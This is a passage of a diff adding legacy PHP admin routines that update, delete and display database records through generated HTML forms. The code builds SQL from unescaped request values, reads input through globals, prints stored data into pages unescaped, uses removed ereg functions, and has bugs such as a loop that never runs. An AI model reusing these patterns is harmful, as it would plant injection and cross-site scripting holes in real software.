+                                                                       $comma = ",";
+                                                                       }
+                                                                       // Else, if there's a file in the database and we're deleting
+                                                                   elseif( $data[$field[0]] != "" && isset($GLOBALS[$field[0]."_DELETE"])  )
+                                                                       {
+                                                                       file_delete( $data[$field[0]] );
+                                                                       $qs .= $comma." ".$field[0]." = ''";    // Clear file name in database
+                                                                       $comma = ",";
+                                                                       }
+                                                               
+                                                               break;
+       
+                                                       default:
+                                                               $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field  name "'.$field[3].'" in function call</FONT><BR>';
+                                                               break;
+                                                       }
+                                               break;
+       
+       
+                                       case "checkbox":
+                                                       // Doesn't matter whether it's required or not, or whatever
+                                               $qs .= $comma." ".$field[0]." = ";              // Add field name to update to query string
+                                               $comma = ",";
+                                               if( $GLOBALS[$field[4]] == "on" )
+                                                       {
+                                                       $out[$outcount]["value"] = "Yes";
+                                                       $qs .= "TRUE";
+                                                       }
+                                                   else
+                                                       {
+                                                       $out[$outcount]["value"] = "No";
+                                                       $qs .= "FALSE";
+                                                       }
+                                               break;
+       
+       
+                                       case "bitmap":
+                                               $out[$outcount]["value"] = "Bitmaps not available for view at this time";
+                                               $qs .= $comma." ".$field[0]." = ";              // Add field name to update to query string
+                                               $comma = ",";
+                                               $b = 0;         // Start with clear bitmap
+                                               for( $i=0 ; $i<SI_INT_SIZE ; $i++ )             // Bitmaps are based on the size of an integer
+                                                       {
+                                                       if( isset($GLOBALS[$field[4]][$i]) && $GLOBALS[$field[4]][$i] == "on" ) // If checked 
+                                                               $b = $b + pow(2,$i);                    // Set bit
+                                                       }
+                                       
+                                               $qs .= $b;
+                                               break;
+                                       
+                                       default:
+                                               $problem .= '<FONT COLOR="red">UNKNOWN FIELD TYPE: '.$field[1].' for '.$field[0].'</FONT><BR>';
+                                               break;
+                                               
+                                       } // switch( field )
+                       
+                       $outcount++;
+                       } // foreach( field )
+
+               }
+           else
+               {
+               $ret .= '       <CENTER>(Record not found)</CENTER>
+                       <P>
+                    ';
+               return( array( 'text' => $ret, 'status' => false ) );
+               }
+               
+       if( !empty($not_supplied) )
+               {
+               $result .= '    <H2>Required fields not supplied</H2><P>
+                       <FONT COLOR="red">'.$not_supplied.'</FONT><P>
+                       Use "BACK" button on browser, add missing data and resubmit.<P>
+                    ';
+               $update_record = false;  
+               } 
+       
+       if( !empty($problem) )
+               {
+               $result .= $problem.'<P>
+                       Use "BACK" button on browser, correct problem field, and resubmit.<P>
+                    ';
+               $update_record = false;
+               }
+               
+       if( $update_record && $qs != '' )
+               {
+               $qs = "UPDATE $table SET $qs WHERE id = $id;";
+               if( SI_DEBUG >= 1 ) $ret .= "<PRE>admin_update_record()[".__LINE__."]: Update record = $qs</PRE><BR>";  
+               db_auto_exec( $qs, $conn_str, FALSE );
+               $result .= '<P><H2>Data updated.</H2><P>';
+               }         
+                 
+               // Replace parameters in Title                  
+
+       for( $i=0 ; $i<$outcount ; $i++ )
+               {
+               $a_title = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $a_title );
+               $a_title = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $a_title );
+               }
+
+       $a_title = ereg_replace( "\\{link_params\\}", $link_params, $a_title );
+       $a_title = ereg_replace( "\\{form_params\\}", $form_params, $a_title );
+       $a_title = ereg_replace( "\\{result\\}", $result, $a_title );
+
+               // Add QuickTip if provided
+               
+       if( trim($quick_tip) != '' )
+               $a_title = quick_tip( $a_title, $quick_tip );
+
+               // Display top of page
+               
+       $ret .= '<CENTER>
+               '.$a_title."\n";
+
+       if( empty($view) )      // If there's no spec in $view
+               $ret .= $result;
+         else
+               {
+               for( $i=0 ; $i<$outcount ; $i++ )
+                       {
+                       $view = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $view );
+                       $view = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $view );
+                       }
+               $view = ereg_replace( "\\{999\\}", $out[999]["value"], $view );
+               $view= ereg_replace( "\\{link_params\\}", $link_params, $view );
+               $view = ereg_replace( "\\{form_params\\}", $form_params, $view );
+               $view = ereg_replace( "\\{result\\}", $result, $view );
+               $ret .= $view;
+               }
+
+       $ret .= '       
+               </CENTER>
+            ';
+
+       return( array( 'text' => $ret, 'status' => $update_record ) );
+            
+}
+
+function admin_update_record( $table, $conn_str, $id, $fields, $url, $action, $params, $a_title, $view = "", $quick_tip = "" )
+{
+       $r = admin_update_record_r( $table, $conn_str, $id, $fields, $url, $action, $params, $a_title, $view, $quick_tip );
+       echo $r['text'];
+       return( $r['status'] );
+}
+
+
+
+
+       // Ask for the deletion of a record
+       
+function admin_delete_record_r( $table, $conn_str, $id, $fields, 
+                               $options, $url, $action, $params, $a_title, $view="", $quick_tip="" )
+{
+
+       $ret = '';
+       
+               // Break out configuration data
+               
+       $field_table = explode_trim( "|", $fields );
+
+               // Don't be surprised if last field is blank
+               
+       if( trim($field_table[count($field_table)-1]) == "" )
+               array_pop( $field_table );
+
+       foreach( $field_table as $key => $r )
+               $field_table[$key] = explode_trim( ",", $r );
+               
+               // Check for additional parameters that are passed
+
+       if( !empty($params) )
+               {
+               $param = explode_trim( "|", $params );  // Separate parameters
+               $link_params = $form_params = "";
+               foreach( $param as $p )
+                       {
+                       $x = explode_trim( ".", $p );   // Separate Names from Values
+                       $link_params .= "&".$x[0]."=".urlencode($x[1]);
+                       $form_params .= '<INPUT TYPE="hidden" NAME="'.$x[0].'" VALUE="'.$x[1].'">';
+                       }
+               }
+       
+               // Scan options
+               
+       $option_strong = FALSE;
+       if( !empty($options) )
+               {
+               $option_table = explode_trim( ",", $options );
+               foreach( $option_table as $option )
+                       switch( $option )
+                               {
+                               case "strong":
+                                       $option_strong = TRUE;
+                                       break;
+                               
+                               default:
+//                                     $ret .=  '<H2><FONT COLOR="red">ERROR: Illegal Option Specified</FONT></H2>';
+                                       break;
+                               }
+               }
+       
+       
+               // Get the data
+
+       $query_string = "SELECT * FROM ".$table." WHERE id = $id;";
+       if( SI_DEBUG >= 1 ) $ret .=  "<PRE>admin_delete_record()[".__LINE__."]: Record to delete = $query_string</PRE><BR>";    
+       $data = db_auto_get_row( $query_string, 0, $conn_str, $fail_mode );
+       $problem = '';
+       
+       if( $data )
+               {
+                    
+                       // For each field in the result
+                               
+               $outcount = 0;  // replaceable field data table pointer
+               foreach( $field_table as $field )
+                       {
+                       $f2 = explode_trim( "~", $field[2] );
+                       $out[$outcount]["name"] = $f2[0];
+                       $out[$outcount]["display"] = $field[3] != "HIDDEN" ? TRUE : FALSE;
+                       $f = explode_trim( ".", $field[1] );            // Extract type options
+                       switch( $f[0] )
+                               {
+                                       // Check other tables for references to this record
+                                       
+                               case "check":
+                                       if( $f[1] == '' || $f[2] == '' )
+                                               {
+                                               $problem .= '<FONT COLOR="red">'.$field[0].': Table or Field name not supplied for reference check.</FONT><BR>';
+                                               break;
+                                               }               
+                                       if( ($c = db_auto_get_row( "SELECT count(".$f[2].") FROM ".$f[1]." WHERE ".$f[2]." = $id;" )) && $c['count'] > 0 )
+                                               {
+                                               $problem .= '<FONT COLOR="red">This reccord is referenced '.$c['count'].' time(s) by "'.$f2[0].'". Delete References first.</FONT><BR>';
+                                               break;
+                                               }                                       
+                                               
+                                       break;
+                                       
+                               case "money":
+                                       $out[$outcount]["value"] = "$".sprintf( "%01.2f", $data[$field[0]] );
+                                       break;
+                                       
+                               case "order":
+                               case "int":
+                               case "float":
+                               case "fixed":
+                                       $out[$outcount]["value"] = $data[$field[0]];
+                                       break;
+                                               
+                               case "checkbox":
+                                       $out[$outcount]["value"] = $data[$field[0]] == 't' ? 'Yes' : 'No';
+                                       break;
+                                               
+                               case "password":
+                                       $out[$outcount]["value"] = '(hidden)';
+                                       break;
+                                       
+                               case "text":
+                               case "inet":
+                               case "state":
+                               case "country":
+                               case "textbox":
+                               case "richtext":
+                               case "date":
+                                       $out[$outcount]["value"] = $data[$field[0]];
+                                       break;
+                                               
+                               case "checkbox":
+                                       $out[$outcount]["value"] = $data[$field[0]] == "t" ? "Yes" : "No" ;
+                                       break;
+                               case "url":
+                                       $out[$outcount]["value"] = '<A HREF="'.$data[$field[0]].'">'.$data[$field[0]].'</A>';
+                                       break;
+                                               
+                               case "category":
+                                               // Get the category name for this field if supplied
+                                       if( !empty($data[$field[0]]) )
+                                               {
+                                               if( $cval = db_auto_get_row( "SELECT * FROM ".$f[1]." WHERE id = ".$data[$field[0]].";", 0, $conn_str, FALSE ) )
+                                                       $out[$outcount]["value"] = $cval['name'];
+                                                 else
+                                                       $out[$outcount]["value"] = '<FONT COLOR="red">Unknown Category</FONT>';
+                                               }
+                                         else
+                                               {
+                                               $out[$outcount]["value"] = "&nbsp;";
+                                               }
+                                       break;
+                                                                       
+                               case "pointer":
+                                               // If {value_field} supplied use that, otherwise use id of record as value to match
+                                       $value_field = !empty($f[3]) ? $f[3] : "id" ;
+
+                                               // If {where} supplied use that, otherwise get all possibilities from other table
+                                       $w = !empty($f[4]) ? " WHERE ".$f[4] : " WHERE ".$value_field." = ".$data[$field[0]] ;
+
+                                       $pval = db_auto_get_row( 
+                                               "SELECT * FROM ".$f[1].$w.";",
+                                               0, $conn_str, $fail_mode );
+                                       $out[$outcount]["value"] = $pval[$f[2]];
+                                       break;
+                                       
+                               default:
+                                       $out[$outcount]["value"] = '<FONT COLOR="red">UNKNOWN FIELD TYPE: '.$f[0].' for '.$field[0].'</FONT>';
+                                       break;
+                                       
+                               } // switch( field )
+                       $outcount++;
+                       } // foreach( field )
+                       
+                       // Confirm field and Submit button go into {submit}
+                       
+               if( $option_strong )
+                       $submit = '<BR>
+                               To confirm, type "Delete" below.<BR>
+                               <FORM ACTION="'.$url.'" METHOD="post">
+                                       <INPUT TYPE="hidden" NAME="id" VALUE="'.$id.'">
+                                       <INPUT TYPE="hidden" NAME="Action" VALUE="'.$action.'">
+                                       <INPUT TYPE="text" NAME="Confirm"><BR>
+                                       <INPUT TYPE="hidden" NAME="Option" VALUE="Confirm Delete">
+                                       <INPUT TYPE="submit" NAME="usingHiddenOption" VALUE="Confirm Delete">
+                                       '.$form_params.'
+                               </FORM>
+                            ';
+                   else
+                       $submit = '
+                               <FORM ACTION="'.$url.'" METHOD="post">
+                                       <INPUT TYPE="hidden" NAME="id" VALUE="'.$id.'">
+                                       <INPUT TYPE="hidden" NAME="Action" VALUE="'.$action.'">
+                                       <INPUT TYPE="hidden" NAME="Confirm" VALUE="Delete"><BR>
+                                       <INPUT TYPE="hidden" NAME="Option" VALUE="Confirm Delete">
+                                       <INPUT TYPE="submit" NAME="usingHiddenOption" VALUE="Confirm Delete">
+                                       '.$form_params.'
+                               </FORM>
+                            ';
+
+                       // Replace parameters in Title                  
+
+               for( $i=0 ; $i<$outcount ; $i++ )
+                       {
+                       $a_title = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $a_title );
+                       $a_title = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $a_title );
+                       }
+
+               $a_title = ereg_replace( "\\{link_params\\}", $link_params, $a_title );
+               $a_title = ereg_replace( "\\{form_params\\}", $form_params, $a_title );
+               $a_title = ereg_replace( "\\{submit\\}", $submit, $a_title );
+               $a_title = ereg_replace( "\\{result\\}", $result, $a_title );
+
+
+                       // Add QuickTip if provided
+               
+               if( trim($quick_tip) != '' )
+                       $a_title = quick_tip( $a_title, $quick_tip );
+
+
+                       // Output results
+                       
+               if( empty($view) )      // If there's no format spec in $view
+                       {
+                       $ret .=  '<CENTER>'.$a_title.'
+                               <P>
+                               <H2>Are you sure you want to delete this information?</H2>
+                               <TABLE BORDER="1">
+                            ';
+                       for( $i=0 ; $i<$outcount ; $i++ )
+                               {
+                               if( $out[$i]["display"] )
+                                       $ret .=  '<TR><TH ALIGN="right" VALIGN="top">'.$out[$i]["name"]
+                                               .'&nbsp;</TH><TD ALIGN="left">'.$out[$i]["value"].'&nbsp;</TD></TR>
+                                            ';
+                               }
+                       $ret .=  '      <P>
+                               </TABLE>'.$submit;      // Output the Confirm field and submit button
+                       
+                       }
+                   else        // Otherwise use $view to output data
+                       {
+                       for( $i=0 ; $i<$i ; $i++ )
+                               {
+                               $view = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $view );
+                               $view = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $view );
+                               }
+                       $view = ereg_replace( "\\{link_params\\}", $link_params, $view );
+                       $view = ereg_replace( "\\{form_params\\}", $form_params, $view );
+                       $view = ereg_replace( "\\{submit\\}", $submit, $view );
+                       $view = ereg_replace( "\\{result\\}", $result, $view );
+                       $ret .=  '<CENTER>'.$a_title.$view;
+                       }
+
+               if( $problem != '' )
+                       {
+                       $ret = '<CENTER>'.$a_title.$problem.'</CENTER>';
+                       return( array( 'text' => $ret, 'status' => false ) );
+                       }
+                               
+               } // if( $data )
+           else
+               $ret .=  '      <CENTER>(No results found)</CENTER>
+                       <P>
+                    ';
+
+
+
+       $ret .=  '</CENTER>
+            ';
+
+       return( array( 'text' => $ret, 'status' => true ) );
+
+}
+
+function admin_delete_record( $table, $conn_str, $id, $fields, 
+                               $options, $url, $action, $params, $a_title, $view="", $quick_tip="" )
+{
+       $r = admin_delete_record_r( $table, $conn_str, $id, $fields, 
+                               $options, $url, $action, $params, $a_title, $view, $quick_tip );
+       echo $r['text'];
+       return( $r['status'] );
+}
+
+
+       // Delete a record if confirmed
+       
+function admin_confirm_delete_record_r( $table, $conn_str, $id, $fields, $url, 
+                       $action, $params, $a_title, $view = "", $quick_tip = "" )
+{
+
+       $ret = '';
+       
+               // Make all submitted parameters available
+       
+//     extract($GLOBALS[HTTP_POST_VARS]);
+//     extract($GLOBALS[HTTP_GET_VARS]);
+            
+               // Check for additional parameters that are passed
+
+       if( !empty($params) )
+               {
+               $param = explode_trim( "|", $params );  // Separate parameters
+
+               $link_params = $form_params = "";
+               foreach( $param as $p )
+                       {
+                       $x = explode_trim( ".", $p );   // Separate Names from Values
+                       $link_params .= "&".$x[0]."=".urlencode($x[1]);
+                       $form_params .= '<INPUT TYPE="hidden" NAME="'.$x[0].'" VALUE="'.$x[1].'">';
+                       }
+               }
+       
+               // Check "Confirm" field for correct text
+       
+       $result = "";
+       $delete_record = TRUE;          // Assume that we're going to delete this record
+       if( $GLOBALS['Confirm'] == "Delete" )
+               {
+               
+                       // Get the current data for reference and to make sure it exists
+
+               $query_string = "SELECT * FROM $table WHERE id = $id;";
+               if( SI_DEBUG >= 1 ) $ret .=  "<PRE>admin_confirm_delete_record()[".__LINE__."]: Record to delete = $query_string</PRE><BR>";    
+               $data = db_auto_get_row( $query_string, 0, $conn_str, $fail_mode );
+
+                       // Separate field title from QuickTip in case we need it
+               $fta = explode_trim( "~", $field[2] );
+               $field_title_only = $fta[0];
+
+
+               if( $data ) 
+                       {
+       
+                       $not_delete_message = "";
+
+                       if( trim($fields) != "" )       // If there's any check fields
+                               {
+                                       // Break out configuration data
+               
+                               $field_table = explode_trim( "|", $fields );
+
+                                       // Don't be surprised if last field is blank
+                                       
+                               if( trim($field_table[count($field_table)-1]) == "" )
+                                       array_pop( $field_table );
+                       
+                               foreach( $field_table as $key => $r )
+                                       $field_table[$key] = explode_trim( ",", $r );
+
+                                       // For each check field specified
+                               
+                               foreach( $field_table as $field )
+                                       {
+                                       $f = explode_trim( ".", $field[1] );
+                                       switch( $f[0] )
+                                               {
+                                               case "reference":       // Check to see if this record is referenced
+                                                       if( db_auto_get_row( "SELECT id FROM ".$f[1]." WHERE ".$f[2]." = $id;", 0, $conn_str, $fail_mode ) )
+                                                               {
+                                                               $result .= '<FONT COLOR="red">Can\'t delete this information. You must delete '.$field[2].' first.</FONT><BR>';
+                                                               $delete_record = FALSE;
+                                                               }
+                                                       break;
+                               
+                                               case "image":
+                                                       delete_image( $data[$field[0]] );
+                                                       break;
+                                               
+                                               default:
+                                                       $result .= '<FONT COLOR="red">UNKNOWN FIELD TYPE: '.$f[0].' for '.$field[0].'</FONT><BR>';
+                                                       $delete_record = FALSE;
+                                                       break;
+                                       
+                                               } // switch( field )
+                       
+                                       } // foreach( field )
+                               }
+                       } // if data            
+                 else
+                       {
+                       $result .= '<H2><FONT COLOR="red">Record not found</FONT></H2><BR>';
+                       $delete_record = FALSE;
+                       }
+
+
+               } // if Confirm
+         else
+               {
+               $result .= '<H2>Delete <FONT COLOR="red">NOT</FONT> Confirmed.</H2>';
+               $delete_record = FALSE;
+               }
+               
+               
+       if( $delete_record )
+               {
+               $qs = "DELETE FROM ".$table." WHERE id = ".$id.";";
+               if( SI_DEBUG >= 1 ) $ret .=  "<PRE>admin_confirm_delete_record()[".__LINE__."]: Delete Record = $qs</PRE><BR>"; 
+               db_auto_exec( $qs, $conn_str, FALSE );
+               $result .= '<P><H2>Record Deleted.</H2>';
+               }
+           else
+               $result .= '<P><H2>Not deleting this record</H2><P>
+                       <FONT COLOR="red" SIZE="4">'.$not_delete_message.'</FONT><P>
+                    ';   
+
+               // Make replacements in $a_title
+                                 
+       $a_title = ereg_replace( "\\{result\\}", $result, $a_title );
+       $a_title = ereg_replace( "\\{link_params\\}", $link_params, $a_title );
+       $a_title = ereg_replace( "\\{form_params\\}", $form_params, $a_title );
+       
+               // Add QuickTip if provided
+               
+       if( trim($quick_tip) != '' )
+               $a_title = quick_tip( $a_title, $quick_tip );
+
+               // Display top of page
+               
+       $ret .=  '<CENTER>
+               '.$a_title.'
+            ';
+            
+       if( empty($view) )
+               $ret .=  $result;
+           else
+               {
+               $view = ereg_replace( "\\{result\\}", $result, $view );
+               $view = ereg_replace( "\\{link_params\\}", $link_params, $view );
+               $view = ereg_replace( "\\{form_params\\}", $form_params, $view );
+               $ret .=  $view;
+               }
+
+       $ret .=  '      
+               </CENTER>
+            ';
+            
+
+       return( array( 'text' => $ret, 'status' => $delete_record ) );
+
+
+}
+
+function admin_confirm_delete_record( $table, $conn_str, $id, $fields, $url, 
+                       $action, $params, $a_title, $view = "", $quick_tip = "" )
+{
+       $r = admin_confirm_delete_record_r( $table, $conn_str, $id, $fields, $url, 
+                       $action, $params, $a_title, $view, $quick_tip );
+       echo $r['text'];
+       return( $r['status'] );
+}
+
+
+
+
+       // View the data in a record
+
+function admin_view_record_r( $table, $conn_str, $id, $fields, 
+                               $url, $action, $params, $a_title, $view="", $options = "", $quick_tip = "", $id_field = '' )
+{
+
+       $ret = '';
+
+       if( empty($id_field) )
+               $id_field = 'id';
+                       
+               // Check for any options
+               
+       $borders = strstr( $options, "borders" ) ? 1 : 0;               // Show table borders
+       $nocenter = strstr( $options, "nocenter" ) ? 1 : 0;             // Don't output <center></center> tags around content
+            
+               // Break out configuration data
+               
+       $field_table = explode_trim( "|", $fields );
+
+               // Don't be surprised if last field is blank
+               
+       if( trim($field_table[count($field_table)-1]) == "" )
+               array_pop( $field_table );
+
+               // Check for additional parameters that are passed
+
+       if( !empty($params) )
+               {
+               $param = explode_trim( "|", $params );  // Separate parameters
+               $link_params = $form_params = "";
+               foreach( $param as $p )
+                       {
+                       $x = explode_trim( ".", $p );   // Separate Names from Values
+                       $link_params .= "&".$x[0]."=".urlencode($x[1]);
+                       $form_params .= '<INPUT TYPE="hidden" NAME="'.$x[0].'" VALUE="'.$x[1].'">';
+                       }
+               }
+       
+               // Get the data
+
+       $qs = "SELECT * FROM $table WHERE ".$id_field." = $id;";
+       if( SI_DEBUG >= 1 ) $ret .=  "<PRE>admin_view_record()[".__LINE__."]: View Record = $qs</PRE><BR>";     
+       $data = db_auto_get_row( $qs, 0, $conn_str, $fail_mode ); 
+       
+       if( $data )
+               {
+                       // For each field in the result
+
+               for( $res_field=0 ; $res_field<count($field_table) ; $res_field++ )
+                       {
+                       $field = explode_trim( ",", $field_table[$res_field] );
+                       $f = explode_trim( ".", $field[1] );
+                       $out[$res_field]["hidden"] = ereg( "hidden", $field_table[$res_field] );        // Check for .hidden
+                       
+                               // Check for pop-up-tips
+                       
+                       $n = explode_trim( '~', $field[2] );
+                       if( count($n) > 1 )
+                               {
+                                       // setup tip display - requires show_QuickTip() and hide_QuickTip() functions from java_functions.js
+                                       
+                               $out[$res_field]["name"]  = quick_tip( '<font color="'.$field_name_color.'">'.$n[0].'</font>', $n[1] );
+                               }
+                         else
+                               $out[$res_field]["name"] = $field[2];
+                       
+                       $out[$res_field]['field'] = $field[0];
+
+                       switch( $f[0] )
+                               {
+
+                               case "lat":
+                                       $fw = 2;
+                                       if( $f[1] > 0 )
+                                               $fw = $f[1];
+                                       $ns = 'N';
+                                       if( $data[$field[0]] < 0 )
+                                               {
+                                               $ns = 'S';
+                                               $data[$field[0]] = -1 * $data[$field[0]];
+                                               }
+                                       $dv = (int) $data[$field[0]];
+                                       $mv = ( $data[$field[0]] - $dv ) * 60;
+                                       $out[$res_field]["value"] = sprintf( "%s %d&deg; %01.".$fw."f'", $ns, $dv, $mv );
+                                       break;
+                                               
+                               case "lon":
+                                       $fw = 2;
+                                       if( $f[1] > 0 )
+                                               $fw = $f[1];
+                                       $ns = 'E';
+                                       if( $data[$field[0]] < 0 )
+                                               {
+                                               $ns = 'W';
+                                               $data[$field[0]] = -1 * $data[$field[0]];
+                                               }
+                                       $dv = (int) $data[$field[0]];
+                                       $mv = ( $data[$field[0]] - $dv ) * 60;
+                                       $out[$res_field]["value"] = sprintf( "%s %d&deg; %01.".$fw."f'", $ns, $dv, $mv );
+                                       break;
+                                               
+                               case "money":
+                                       $out[$res_field]["value"] = "$".sprintf( "%01.2f", $data[$field[0]] );
+                                       break;
+
+                               case "fixed":
+                                       $fw = 2;
+                                       if( $f[1] > 0 )
+                                               $fw = $f[1];
+                                       $out[$res_field]["value"] = sprintf( "%01.".$fw."f", $data[$field[0]] );
+                                       break;
+
+                               case "password":
+                                       $out[$res_field]["value"] = '(hidden)';
+                                       break;
+                                       
+                               case "text":
+                               case "inet":
+                               case "textbox":
+                               case "richtext":
+                                       $out[$res_field]["value"] = nl2br( $data[$field[0]] );
+                                       break;
+                                       
+                               case "rawtext":
+                                       $out[$res_field]["value"] = $data[$field[0]];
+                                       break;
+                               
+                               case "order":
+                               case "int":
+                               case "date":
+                               case "float":
+                                       $out[$res_field]["value"] = $data[$field[0]];
+                                       break;
+                                               
+                               case "url":
+                                       $out[$res_field]["value"] = '<A HREF="'.$data[$field[0]].'">'.$data[$field[0]].'</A>';
+                                       break;
+                                               
+                               case "category":
+                                               // Get the category name for this field is supplied
+                                       if( !empty($data[$field[0]]) )
+                                               {
+                                               if( $cval = db_auto_get_row( "SELECT * FROM ".$f[1]." WHERE id = ".$data[$field[0]].";", 0, $conn_str, FALSE ) )
+                                                       $out[$res_field]["value"] = $cval['name'];
+                                                 else
+                                                       $out[$res_field]["value"] = '<FONT COLOR="red">Unknown Category</FONT>';
+                                               }
+                                         else
+                                               {
+                                               $out[$res_field]["value"] = "&nbsp;";
+                                               }
+                                       break;
+                                                                       
+                               case "pointer":
+                                       
+                                       if( !empty($data[$field[0]]) )
+                                               {
+                                                       // If {where} supplied use that, otherwise match "id" field
+                                               $w = !empty($f[4]) ? " WHERE ".$f[4] : " WHERE id = ".$data[$field[0]] ;
+                                               $comma = '';
+                                               $ref_fields = explode_trim( "~", $f[2] );               // Separate all fields to display
+                                               $ref_select = $sep = '';
+                                               foreach( $ref_fields as $ref_field )                    // Build fields spec for SELECT
+                                                       {
+                                                       $ref_select .= $sep.$ref_field;
+                                                       $sep = ',';
+                                                       }
+                                               $out[$res_field]["value"] = '';
+                                               if( ($pvals = db_auto_get_data( "SELECT $ref_select FROM ".$f[1].$w.";", $conn_str, $fail_mode )) )
+                                                       {                       
+                                                       foreach( $pvals as $pval )
+                                                               {
+                                                               $out[$res_field]["value"] .= $comma;
+                                                               $ref_space = '';
+                                                               foreach( $ref_fields as $ref_field )                    // Put together all fields referenced as output
+                                                                       {
+                                                                       $out[$res_field]["value"] .= $ref_space.$pval[$ref_field];
+                                                                       $ref_space = ' ';
+                                                                       }
+                                                               $comma = ', ';
+                                                               }
+                                                       }
+                                                 else
+                                                       $out[$res_field]["value"] = '';
+                                               }
+                                         else
+                                               $out[$res_field]["value"] = '';
+                                               
+                                       break;
+                                       
+                               case "multifield":              // NOT TESTED  multitext.numb_fields.new_line_string
+                               
+                                       if( trim($f[2]) == '' )
+                                               {
+                                               $out[$res_field]["value"] = '<FONT COLOR="RED">Missing multifield line specification</FONT>';
+                                               break;
+                                               }
+                                               
+                                       $v = '';
+                                       
+
+                                               // If there's data, then build existing input lines with data
+                                       if( ( $x = trim($data[$field[0]]) ) != '' )
+                                               {
+                                               $field_data = unserialize( $data[$field[0]] );
+
+                                               if( $field_data != false && is_array( $field_data ) )
+                                                       {
+       
+                                                               // For each line of inputs
+                                                       for( $i=1 ; $i<=count($field_data) ; $i++ )
+                                                               {
+                                                               $f_line = str_replace( '{line_numb}', ($i), $f[2] );            // Set line number in output text
+                                                                       // For each input field on the line
+
+                                                               for( $j=1 ; $j<=$f[1] ; $j++ )
+                                                                       $f_line = str_replace( '{field_'.($j).'}', $field_data[$i-1][$j-1], $f_line );
+
+                                                               $v .= $f_line;
+
+                                                               }
+                                                       }
+                                               }
+                                       
+                                       $out[$res_field]["value"] = $v;
+
+                                       break;
+
+
+                               case "image":
+                                       if( !empty($data[$field[0]]) )
+                                               {
+                                               switch( $f[1] )
+                                                       {
+                                                       case "o":       $img_url = SI_IMG_ORIGINAL_URL; break;
+                                                       case "r":       $img_url = SI_IMG_RESIZED_URL;  break;
+                                                       case "m":       $img_url = SI_IMG_MIDSIZED_URL; break;
+                                                       case "t":       $img_url = SI_IMG_THUMB_URL;    break;
+                                                       default:        $img_url = "none";              break;
+                                                       }       
+                                               if( $img_url != "none" )
+                                                       $out[$res_field]["value"] = '<IMG SRC="'.$img_url."/".$data[$field[0]].'">';
+                                                   else
+                                                       $out[$res_field]["value"] = '<FONT COLOR="RED">Invalid Image Size</FONT>';
+                                               }
+                                         else
+                                               $out[$res_field]["value"] = '(no image)';
+                                       break;
+                                       
+                               case "images":
+                                       if( !empty($data[$field[0]]) )
+                                               {
+                                               if( $img_url != "none" )
+                                                       {
+                                                       $images = unserialize( $data[$field[0]] );
+                                                       foreach( $images as $im )
+                                                               {
+                                                               switch( !empty($im['size']) ? $im['size'] : $f[1] )
+                                                                       {
+                                                                       case "o":       $img_url = SI_IMG_ORIGINAL_URL; break;
+                                                                       case "r":       $img_url = SI_IMG_RESIZED_URL;  break;
+                                                                       case "m":       $img_url = SI_IMG_MIDSIZED_URL; break;
+                                                                       case "t":       $img_url = SI_IMG_THUMB_URL;    break;
+                                                                       default:        $img_url = "none";              break;
+                                                                       }       
+                                                               $out[$res_field]["value"] = '<IMG SRC="'.$img_url."/".$im['filename'].'"><BR>'.$im['descr'];
+                                                               }
+                                                       }
+                                                 else
+                                                       $out[$res_field]["value"] = '<FONT COLOR="RED">Invalid Image Size</FONT>';
+                                               }
+                                         else
+                                           $out[$res_field]["value"] = '(no image)';
+                                       break;
+                                       
+                               case "file":
+                                       if( ereg( 'secure', $f[2] ) )
+                                               {
+                                               if( !defined('SI_FILE_SECRET') || SI_FILE_SECRET == '' )
+                                                       {
+                                                       echo '<p><font color="red">ERROR: </font> SI_FILE_SECRET parameter required for <b>file_output_secure()</b><br>
+                                                                       SI_FILE_SECRET defined parameter not found or no contents! Please check siteinfo.inc file.<p>';
+                                                       exit;   
+                                                       }
+                                               $file_md5 = md5( $data[$field[0]].SI_FILE_SECRET );
+                                               $out[$res_field]["value"] = '<A HREF="'.SI_BASE_URL.'/glm_apps/file_output_secure.phtml?filename='.urlencode($data[$field[0]])
+                                                               .'&md5='.$file_md5.'&path='.urlencode($f[1]).'">'.$data[$field[0]].'</A>';
+                                               }
+                                         else
+                                               $out[$res_field]["value"] = '<A HREF="'.SI_BASE_FILE_URL.'/'.$data[$field[0]].'">'.$data[$field[0]].'</A>'; 
+                                       break;
+                               
+
+                               case "checkbox":
+                                       $x = $data[$field[0]] == "t" ? "Yes" : "No";
+                                       $out[$res_field]["value"] = $x;
+                                       break;
+
+                               case "bitmap":
+                                       $bmap = explode_trim( "~", $f[1] );
+                                       $out[$res_field]["value"] = '<TABLE BORDER="0">';
+                                       for( $j=0 ; $j<count($bmap) ; $j++ )
+                                               if( $bmap[$j] != ' ' )
+                                                       {
+                                                       $d = $data[$field[0]] & pow( 2, $j ) ? "Yes" : "No";            // Check if this bit set
+                                                       $out[$res_field]["value"] .= '<TR><TD>'.$bmap[$j].'</TD><TD>'.$d.'</TD></TR>';
+                                                       }
+                                       $out[$res_field]["value"] .= '</TABLE>';
+                                       break;
+
+                               case "list":
+                                       $option_table = "";
+                                       $opts = explode_trim( "~", $f[1] );     // Separate list options
+                                       $def_value = !empty($f[2]) ? $f[2] : "" ;
+                                       foreach( $opts as $opt )
+                                               {
+                                               $os = explode_trim( "^", $opt );        // Separate value from displayed text
+                                               $option_table[$os[0]] = $os[1];
+                                               }
+                                               // In case there's multiple options, display results of all selected options with comma separators
+                                       $x = explode( '~', $data[$field[0]] );
+                                       $out[$res_field]["value"] = $sep = '';
+                                       if( is_array($x) )
+                                               foreach( $x as $y )
+                                                       {
+                                                       $out[$res_field]["value"] .= $sep.$option_table[$y];
+                                                       $sep = ', ';
+                                                       }
+                                       break;
+
+                               case "state":
+                                       $out[$res_field]["value"] = $GLOBALS['si_states_array'][$data[$field[0]]];
+                                       break;
+
+                               case "country":
+                                       $out[$res_field]["value"] = $GLOBALS['si_countries_array'][$data[$field[0]]];
+                                       break;
+
+                               case "break":
+                                       if( !empty($f[1]) )     // if {t1} is supplied
+                                               $out[$res_field]["value"] = $f[1];
+                                         else
+                                               $out[$res_field]["value"] = '<FONT COLOR="red">No break name or {text} supplied for type "break"</FONT>';
+                                       break;
+
+                               default:
